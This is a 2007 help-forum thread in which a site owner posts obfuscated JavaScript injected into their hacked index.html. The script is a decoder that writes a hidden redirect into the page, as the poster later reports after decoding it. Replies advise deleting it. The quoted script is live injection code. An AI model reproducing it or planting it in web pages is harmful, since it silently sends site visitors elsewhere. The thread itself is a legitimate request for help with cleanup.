Welcome guest. Before posting on our computer help forum, you must register. Click here it's easy and free.

Author Topic: suspect java code --> need help!  (Read 3423 times)

0 Members and 1 Guest are viewing this topic.

XtaszY

    Topic Starter


    Beginner

  • WEB Guard
    suspect java code --> need help!
    « on: August 07, 2007, 04:45:04 AM »
    hi,
    I have a problem, someone broken one of my web pages (I don't know how) an modify index.html, I find this code in my index html:

    <script language=JavaScript>
    function sban(x)
    {
    var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,9,59,58,33,23,27,10,25,2,0,0,0,0,0,0,51,56,54,35,16,18,46,50,3,41,12,14,53,15,6,7,11,26,40,62,60,24,34,57,4,31,37,0,0,0,0,32,0,42,38,43,22,21,5,36,28,45,29,1,17,20,13,44,30,47,49,0,55,52,8,61,48,39,19);
    for(j=Math.ceil(l/b);j>0;j--){r='';
    for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;
    if(s){r+=String.fromCharCode(121^w&255);w>>=8;s-=2}
    else{s=6}}document.write(r)}}sban('fkrOP_kfhgZ9PRklpflHngxDd8ffDo_f5xXzJjZ fPA4e7UfX5ukOkhe9lg_58WsXjuDXX4mdlxkXpX lHX4md7ussexklpwsX7srNDmkXnsxDlslOjxrf9 WLlf8fXYosNmxrl@k')
    </script>


    I dont know what is it , and i dont have any ideea, pls some one help me to understand what is that

    Thanks a lot

    michaewlewis



      Intermediate
    • Thanked: 26
      • Yes
      • Yes
    • Experience: Expert
    • OS: Unknown
    Re: suspect java code --> need help!
    « Reply #1 on: August 07, 2007, 03:25:27 PM »
    If you didn't put it there, just delete it. Save a backup of the file just in case it needs to be there.

    XtaszY

      Topic Starter


      Beginner

    • WEB Guard
      Re: suspect java code --> need help!
      « Reply #2 on: August 08, 2007, 08:31:10 AM »
      tnx michaewlewis

      I do that, and I Decripted this code, he make a redirection to a webpage, all this comand lines is necessary to decrypt and i dont need this :d

      I think this topic is closed :D